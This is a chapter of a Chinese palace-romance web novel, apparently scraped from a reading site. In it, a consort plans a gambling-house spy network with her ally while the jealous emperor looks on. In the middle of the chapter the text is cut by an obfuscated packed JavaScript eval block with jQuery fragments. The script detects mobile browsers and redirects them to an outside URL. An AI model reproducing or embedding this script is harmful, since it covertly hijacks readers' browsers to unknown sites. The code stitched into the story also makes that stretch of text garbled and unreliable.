默认冷灰
24号文字
方正启体

13. 三十六家如意赌坊(四)

作者:煜夫本书字数:K更新时间:
    桃之感受到指尖上传来的凉意,指根僵了会,然后借着抓挠后脑勺的动作避开了他的触碰,打了个哈哈:“害,肯定啊!太疼了,下次我肯定离你远远的。”


    说着,她一屁股坐在床边,低头看沾满泥点的鞋尖,试图以此避开包厢里有些暧昧的气氛。


    好尴尬好尴尬好尴尬!


    心跳怎么那么快!!


    救命————


    云珩安安静静的看着她,嘴角的弧度慢慢垂了下去,越看桃之脸上的泥点越不顺眼,他在袖子里摸索了片刻,触到了一直带着的丝帕。


    她不喜欢自己的触碰。


    这个念头让云珩的手一滞,只好垂下眼,将帕子递了过去:“可以擦擦脸。干净的。”


    桃之头都不抬,拿过帕子胡乱在脸上抹了几把,试图把那股古怪的情绪一并擦掉,耳边却传来云珩略严肃的声音:“以后你别出宫了,有什么需要,朕……我会给你派人手,要是下次还遇到这种意外,怎么办?”


    桃之下意识顶了回去:“这两年我隔三差五出宫,哪次出过问题?说到底,还不是拖着你这尊大佛才会这样。受了伤就该在宫里好好待着,非要跟出来受这份罪。”


    嘴在前面跑,桃之脑子转过来后心里咯噔一声,想解释,可话到嘴边却死活说不出口,只好起身逃出包厢,只留下一句:“我在外面等青梧,你……你好好休息。”


    她是不是有病!!为什么要说那种话!!


    出去后懊恼的来回踱步,桃之搞不懂为什么每次脑子糊住就乱说话,怎么可以这么恶劣,随意戳人痛点。


    他明明那么痛,却一路乖乖跟着没吭声。


    就在这时,赌坊那扇紧闭的后门传来了有节奏的敲击声,桃之这才从混乱的思绪中挣脱出来,小跑着去开门。探头一看,门外站着的竟然是裴知序,而他身后是等了许久的青梧。


    桃之压在心底的那块大石总算落了地,拉过青梧,上上下下仔细检查她有没有伤着,询道:“这到底怎么回事?你们怎么遇上的?”


    青梧看桃之担心自己,挤了挤脸上的肌肉,露出一个狰狞笑容:“我一个人打不过……点燃了传讯花,裴大人赶过来助我脱了身。”


    桃之这才对着裴知序点了点头:“没受伤就好,谢谢……你们进来吧。”


    *


    桃之领着两人回到大厅,寻了个位子坐下,一眼扫见裴知序那副散漫不羁的模样,眉头微皱:“坐好。”


    被训了的人摇扇的手一顿,收敛了那份慵懒,直了直腰背:“娘娘已经快三个月没去庄园看看了,之前那盘没下完的棋,可还一动不动地等着您去解呢。”


    桃之没接话,将一叠厚厚的文件推到他面前:“你来得正好,这个你看看。接下来需要你将那些培养的苗子全部迁移到这里。明面上招揽人手经营赌坊,暗地里作为咱们的中枢,赚到的银子正好反哺那帮人的嚼头。”


    裴知序俯下身去细看公文,那头散落的长发随着动作反复滑过纸面,发梢甚至若有若无的拂过桃之的手背,她眉头皱得更深,抬手从发间拔出一根木簪,往案上一掷:“把头发束好。”


    裴知序笑了笑,拿起发簪指尖翻转,将那一头如墨青丝利落地束起,低头轻声道:“三十六家分店?这规模若用来做情报网,确实了得。不过……且不说庄园那边的日常开销,您之前让微臣安置的张太医一家老小,以及从死牢里捞出来的宫女阿翠……这些可都很费银子呢。”


    桃之抬眼斜睨他,指尖无意识地轻点桌面,点了点头:“钱不够了?我知道了。已经在准备,隔天便想办法给你送去。”


    闻言他满意的点了点头,用手支着一侧脸颊,身骨微歪,刚收敛起来的散漫劲儿又泛了上来:“娘娘本该过得悠闲自在。此番您亲手结果了太后,便是彻底沦为了章家的眼中钉掌中棋,横竖瞧着,于娘娘而言都没半点好处。”


    说着视线扫过桃之的肩颈处:“微臣听青梧所说,今日您与皇上微服出巡,甚至同陷险境……娘娘如此费心周旋,莫不是为了那位皇帝?”


    桃之挑了挑眉:“是又如何。”


    裴知序闻言耸了耸肩,转而打量起如意赌坊内部的装潢:“是臣逾矩了。既是娘娘的吩咐,臣定会好好为您所用。明日起招兵买马,重开赌坊,再买些资质尚可的奴籍回来培养。”


    桃之道:“谢了。章家未来估计容不下我,你也该收网了,尽快把裴家接手过来。需要任何助力,随时和我说。后期对抗章家绝非易事,你总躲在暗处施展不开,是时候站到明面上了。”


    见裴知序点了点头,算是同意了接下来的安排,桃之才松了紧绷的模样笑了笑:“有这觉悟就好。我可没在你身上少花银子。”说着起身拍了拍衣服上的浮尘:“行了,你可以走了。皇帝还在里面休息,趁着亥时城禁前,我得带他回宫。”


    “钱是娘娘的,命也是娘娘的……怎么会没有觉悟呢?”


    裴知序坐着没动,仰起那张清风朗月的脸,看着她的眼睛里是明晃晃的渴求。


    桃之居高临下地俯视着他,眼底闪过一丝了然。


    说起裴知序此人,桃之只能说一言难尽,自从把人救下后就被缠上了,看他手段了又知多近妖桃之所幸同意了他的建议,两人合伙博个前程。她出钱出势,他出谋出命,本该是再纯粹不过的利益同盟。


    可偏生这人有个古怪的恶疾,若不给点甜头奖励,面上什么都不说,但一定会故意搞砸差事,非得逼着桃之花好几倍的钱和时间收拾烂摊子。


    想到那些打水漂的银子,桃之暗自叹了口气,终究还是妥协的俯下身,摸了摸他的发顶:“做得不错。”


    “谢娘娘恩典。”


    他嘶声应道,意犹未尽地眯了眯眼,毫不遮掩自己的愉悦,就在这时包厢方向突然传来一声冷笑。


    “呵。”


    桃之莫名一慌,转过头看去,只见云珩不知何时来到了大厅内,正靠着一根直达穹顶的柱子,歪着头看着他们,头发有几根散落在脸颊,和桃之对上视线后挑了挑眉。


    桃之:………


    怎么说呢,心跳骤停,手心冒汗。


    身后的裴知序倒是稳得住,慢条斯理的站起身,对着云珩微微躬身行礼,嗓音清润如玉:“皇上圣体欠安,还是莫要动怒的好,微臣不过是受娘娘所托来此排忧解难。”


    云珩却低下头,从胸腔里溢出几声凌乱的低笑,笑得肩膀都在轻颤,连带着那缕散发也跟着晃动。笑完目光在两人之间转了一圈,最后定格在桃之那张写满尴尬的脸上:“裴知序?这就是你喜欢的男人?眼光倒真是不错,连命都给你。”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334558|199226||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    桃之:…………!!


    她现在是身处地狱吗?桃之尴尬的脚趾扣地,低着头恨不得找个缝钻进去,压根不敢回头看身后的裴知序,更不敢看前面那个阴阳怪气的云珩。


    这就是嘴硬的代价吗?这就是胡言乱语的现世报吗?


    好想死……


    裴知序“啪”的一声合拢折扇,故意微微低下头,非要撞进桃之闪躲的视线里,感叹道:“微臣竟不知娘娘喜欢的人是在下,这恩典实在太大,真是叫臣诚惶诚恐啊。”


    桃之的脑子里嗡嗡作响,余光瞥见裴知序那促狭的神色,当场裂开了。


    她今天算是彻底的一败涂地,颜面扫地。


    桃之胡乱点了点头,羞耻感彻底爆表,完全顾不上什么体面,快步冲到云珩面前,满脑子只有一个念头:逃离现场,立刻,马上!


    她抓起云珩的胳膊就往外拽,力道大得几乎要把他拖走:“行了!很晚了!大家各回各家,有什么事以后再说。”


    云珩被她拽得一个踉跄,却也没再多说什么,顺着她的力道往前走,路过裴知序身边时,视线扫过了他发间那根木簪。


    两人一出门,夜里的凉气迎面扑来,总算让桃之那张烫得能烙饼的脸降了点温。青梧早已拉过来一辆不起眼的小轿车侯在外面,对着两人低头行礼:“裴大人留给娘娘的。我会赶马,娘娘、皇帝,请上车。”


    “哈……哈哈……”


    云珩站在马车边不知道受了什么刺激,又笑出了声,此时街头偶尔还有路过的行人。桃之绝望的闭上眼,僵硬地拉了拉他的衣角,咬着牙低声催促: “先……先上车吧。”


    云珩却笑得情难自禁,花枝乱颤,笑到弯下了腰去,边笑边抬手用指腹擦了擦眼角笑出来的泪花:“原来是这样啊……原来如此哈哈哈哈哈!真是太好笑了,哈哈哈哈哈哈!”


    “你别笑了!!”


    有这么好笑吗!!这厮是不是以为她暗恋不成反被他戳破,还被对方赐了一句诚惶诚恐。该死的丢死人了,真的要活不起了。


    桃之恨不得原地蒸发。路边的行人已经有人在往这边侧目,甚至远处的禁军似乎也被这笑声吸引,脚步声由远及近。她急得想去捂云珩的嘴,又怕扯到他的伤口:“伤口好像裂了,别笑了!”


    云珩闻言摸了摸腰侧那渗血的伤口,抬起手借着月光端详起了沾上的血,癫狂笑意竟真的一寸寸收了回去,抬起眼:“还真是。那就听你的,不笑了,走吧。”


    桃之:………


    云珩没等她搀扶,自己弯腰钻进了轿子。这小轿应该是裴知序临时寻来的,内里局促窄小,更别提备什么灯笼烛火,只有些许月光顺着晃动的帘缝洒进来,落在那方寸之地。


    桃之随后跟了进去,坐在他对面,车厢内光影昏暗,只能听到马蹄叩击石板路的声响。云珩微微低着头,正用先前被桃之揉皱的丝帕,一点一点,很有耐心地擦拭着手上的血迹。


    桃之看不清他的全脸,只能隐约看到他清瘦的轮廓,随着马车的颠簸,一缕月光恰好掠过他的眼角,那里还挂着他笑出来的泪花,眼尾正微微上扬,看起来心情大好。


    桃之无奈的摇了摇头:“笑够了?好笑吗?”


    云珩擦手的动作没停,只是在黑暗中轻轻应了一个鼻音“嗯”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)